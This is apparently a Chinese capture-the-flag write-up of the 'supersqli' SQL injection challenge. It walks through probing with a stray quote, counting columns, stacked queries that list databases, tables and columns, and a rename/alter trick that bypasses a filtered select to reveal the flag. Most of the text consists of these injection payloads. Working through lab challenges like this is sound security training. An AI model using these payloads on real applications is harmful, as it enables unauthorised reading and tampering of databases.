背景知识
sql注入
堆叠注入
题目
输入款默认1,先输入1,页面正常显示
再输入1',显示报错
加上注释符号#
或者--+或者%23(注释掉后面语句,使1后面的单引号与前面的单引号成功匹配就不会报错)页面回显正常,那么闭合符号就是单引号。
输入 1#
判断类型,查询1 and 1=1 和1 and 1=2,发现两次提交后页面一样,可以判断出为字符型注入漏洞;
使用万能注入语句
1' or 1=1#
回显不正常,存在注入
判断列数
1' order by 2# // 回显正常
1' order by 3# // 会报错,说明只有两列
尝试联合查询
1' union select 1,2#
发现过滤了很多函数,select不能用
尝试堆叠注入
- 先看数据库
1'; show databases;#
2. 查表名
1'; show tables;#
or
1';use supersqli;show tables;#
3. 查列名
查询表中的列,表名需要使用反单引号引起来,在windows系统下,反单引号(`)是数据库、表、索引、列和别名的引用符。
1'; show columns from `words`;#
1';use supersqli;show columns from `1919810931114514`;#
下一步应该是select flag from `1919810931114514`,但是select被过滤
查询word列发现结构大致相同,由于注入框的查询是对列id
的搜索,此时参考两个表的列名,需要将flag
列名改为能够查找的id
列(修改包括名称和数据类型)。
过滤中并没有alert 和 rename,我们已经知道了words是用来回显内容的,我们把1919810931114514这个表更改名字为words,并增加相应的字段,使之回显原1919810931114514这个表的内容。
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
or
1';rename table `words` to `words1`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100) ;show columns from words;#
再用万能语句,得到flag
1' or 1=1#
参考文章链接: